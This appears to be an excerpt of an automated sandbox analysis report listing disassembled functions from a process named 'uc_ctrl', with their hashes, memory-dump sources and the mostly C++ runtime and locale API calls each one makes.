Opcode ID: 5428af2e1aba3e309f16a4c6ba27e18a3fd0b96f0084cec31355696931959ea5
Instruction ID: 410c295150b8051300b43d5711527ccbe4db7486cb365422b16824cdf58ff3c2
Opcode Fuzzy Hash: 5428af2e1aba3e309f16a4c6ba27e18a3fd0b96f0084cec31355696931959ea5
Instruction Fuzzy Hash: CDE04F322492245BAF102FA9BC046C67B68EF163A9B514065FD0EC7640DB21C869C6E4

Function 6C9329E0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9329E7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000064), ref: 6C932A09

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

_Getcvt.MSVCP140(?,00000064), ref: 6C932A16

Part of subcall function 6C92F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6C92D26D,?), ref: 6C92F107
Part of subcall function 6C92F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F111
Part of subcall function 6C92F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6C92D26D,?), ref: 6C92F11A
Part of subcall function 6C92F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6C92D26D,?), ref: 6C92F130

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6C932A29

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 3765203899-0
Opcode ID: 592ebd0fb3648eededc436c6678b97a1bedc6a7794e9c0f13925b48597554943
Instruction ID: cba759768d680eef9c4855f4347b181eeb87a6da431e42c0e276bcce3776f688
Opcode Fuzzy Hash: 592ebd0fb3648eededc436c6678b97a1bedc6a7794e9c0f13925b48597554943
Instruction Fuzzy Hash: 87F058329112149BDB14DFA4C885BDDB7B0BB25318F509069A404AF695DB78DA08CBA0

Function 007790DE Relevance: 6.0, APIs: 4, Instructions: 26timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 007790F0
GetCurrentThreadId.KERNEL32 ref: 007790FF
GetCurrentProcessId.KERNEL32 ref: 00779108
QueryPerformanceCounter.KERNEL32(?), ref: 00779115

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d2d94f0c13e57d593b942f281a8a8f210e1963ac7ad130ee525ed21c725f5e7f
Instruction ID: 663ce23503ce3ae05ce399fe9da02cdbeee4fe601b7443ec6aa498db77194dd0
Opcode Fuzzy Hash: d2d94f0c13e57d593b942f281a8a8f210e1963ac7ad130ee525ed21c725f5e7f
Instruction Fuzzy Hash: 1FF09270C10208EBDF00DFB4D949AAEB7B8EF18212F5189959405E7110E638AB44CB55

Function 6C936EA0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

___crtIsPackagedApp.LIBCPMT ref: 6C936EA3

Part of subcall function 6C95A020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6C95A02A

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C936EAC
CreateHardLinkW.KERNEL32(?,?,00000000), ref: 6C936EC5
GetLastError.KERNEL32 ref: 6C936ECF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Packaged$CreateErrorHardHelperLastLink___crt___crt__errno
String ID:
API String ID: 3859327723-0
Opcode ID: dc76182bb91f5ee816271704c31edbd9f22d32c8228dac281a7e122093ac9063
Instruction ID: c5a2a338fa9a3772a5ce4a5942e8259b9ce3664ef6601d9f36af5f2e96e481a9
Opcode Fuzzy Hash: dc76182bb91f5ee816271704c31edbd9f22d32c8228dac281a7e122093ac9063
Instruction Fuzzy Hash: F7E04F323492349BAF201FA9A8086867FA8EF067A57204025FA0ED7640DB21D85897E4

Function 6C94EED0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94EED7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038,6C94ED77,00000000), ref: 6C94EF01

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6C94ED77,00000000), ref: 6C94EF0C

Part of subcall function 6C943C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C7E
Part of subcall function 6C943C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6C94ED77,00000000), ref: 6C94EF14

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: c96d2124633581a800210c9be66134e29a24e135850eecc714c7a68557423ee8
Instruction ID: b50a6e4283832ea55d9aa594bebadf72fbb6fffa49d0ee7dbdb07f7526a76e6c
Opcode Fuzzy Hash: c96d2124633581a800210c9be66134e29a24e135850eecc714c7a68557423ee8
Instruction Fuzzy Hash: EEF039719112258BCB14DFA4C545BEEB6B4AF34318FA08419A446A7B90DB78EB49CBA0

Function 6C94EE70 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94EE77
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,00000038), ref: 6C94EE9F

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,?,?,00000038), ref: 6C94EEAA

Part of subcall function 6C943C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C7E
Part of subcall function 6C943C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,00000038), ref: 6C94EEB2

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: da1a27c8dd98757d6f99339e6750bfc95b56e56398bf1627585120db2d7bc57c
Instruction ID: b5b8a9a5b8478bd385c497f29d5d354279bc938525431466e6414b1b6e2cfc87
Opcode Fuzzy Hash: da1a27c8dd98757d6f99339e6750bfc95b56e56398bf1627585120db2d7bc57c
Instruction Fuzzy Hash: 8DF0A03190121A8BCB00DFA0C5007DDB7B4BF30318F508019E44557790CB78EB09CBA0

Function 6C94F9B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F9B7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038,6C94EAF7,00000000), ref: 6C94F9E1

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6C94EAF7,00000000), ref: 6C94F9EC

Part of subcall function 6C94C0B0: ?_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C94AD21,00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94C0BE
Part of subcall function 6C94C0B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C94AD21,00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94C0CE

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6C94EAF7,00000000), ref: 6C94F9F4

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGettnames@_Init@?$time_put@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@V12@V12@@V?$ostreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 493101421-0
Opcode ID: fcff0f8701c6a45502fd79d0541d68260f8bda0aa3481423f03c5cfa125833d0
Instruction ID: 2a195054c58baf5651f2926ffe3164a86bf42730501c235f42057d7f8c5fe94e
Opcode Fuzzy Hash: fcff0f8701c6a45502fd79d0541d68260f8bda0aa3481423f03c5cfa125833d0
Instruction Fuzzy Hash: 7CF0A9719112148BCB00EF94C500BDEB7B4AF30329F908819E045A7B80DB78EB09CBA0

Function 6C953AF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C953AF7
?imbue@ios_base@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,?,?,?,?,0000000C), ref: 6C953B0C

Part of subcall function 6C9344E0: __EH_prolog3.LIBCMT ref: 6C9344E7
Part of subcall function 6C9344E0: std::locale::locale.LIBCPMT ref: 6C9344F8
Part of subcall function 6C9344E0: std::ios_base::_Callfns.LIBCPMT(00000001,?,?,?,?,?,?,00000004), ref: 6C934517

?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,?,?,?,?,0000000C), ref: 6C953B2A

Part of subcall function 6C9536B0: __EH_prolog3.LIBCMT ref: 6C9536B7
Part of subcall function 6C9536B0: std::locale::locale.LIBCPMT ref: 6C9536C8

std::locale::~locale.LIBCPMT ref: 6C953B32

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$V32@@Vlocale@2@std::locale::locale$?imbue@ios_base@std@@?pubimbue@?$basic_streambuf@_CallfnsU?$char_traits@_W@std@@@std@@std::ios_base::_std::locale::~locale
String ID:
API String ID: 3686580818-0
Opcode ID: e6fa82f03c02fcc961f10e63c750d617dcb1162e92fd8ceed57b61c8b08ab3dc
Instruction ID: 10ff7f38a83960ed535771cd8ab5dcdd08317fd1bf2428a3ca9c63cd4f41f947
Opcode Fuzzy Hash: e6fa82f03c02fcc961f10e63c750d617dcb1162e92fd8ceed57b61c8b08ab3dc
Instruction Fuzzy Hash: EFF01C35902219ABEF00DF90C815BEE7B74BF2032AF408018E4156BAA0C775DA68DB44

Function 6C953A70 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C953A77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008), ref: 6C953A80

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C953A99

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: 19610c3282e8d70aaa69eb2b6f8498b2191c92a2366036cffc0332b61178168a
Instruction ID: ea816f50e060806f8967f1979850bf4b25798fda1bc026a78acd868ea1d8aadd
Opcode Fuzzy Hash: 19610c3282e8d70aaa69eb2b6f8498b2191c92a2366036cffc0332b61178168a
Instruction Fuzzy Hash: C7E03939A012149BCF04EBB0C4149AD77716F74228F904108D4156B7D0EF35CF29DB51

Function 6C94F490 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F497
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,00000038), ref: 6C94F4BF

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,?,?,00000038), ref: 6C94F4CA

Part of subcall function 6C943C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C7E
Part of subcall function 6C943C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C941631,00000000,00000038,6C949B9F,?,?,00000000,?,?,?,00000004), ref: 6C943C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,00000038), ref: 6C94F4D2

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
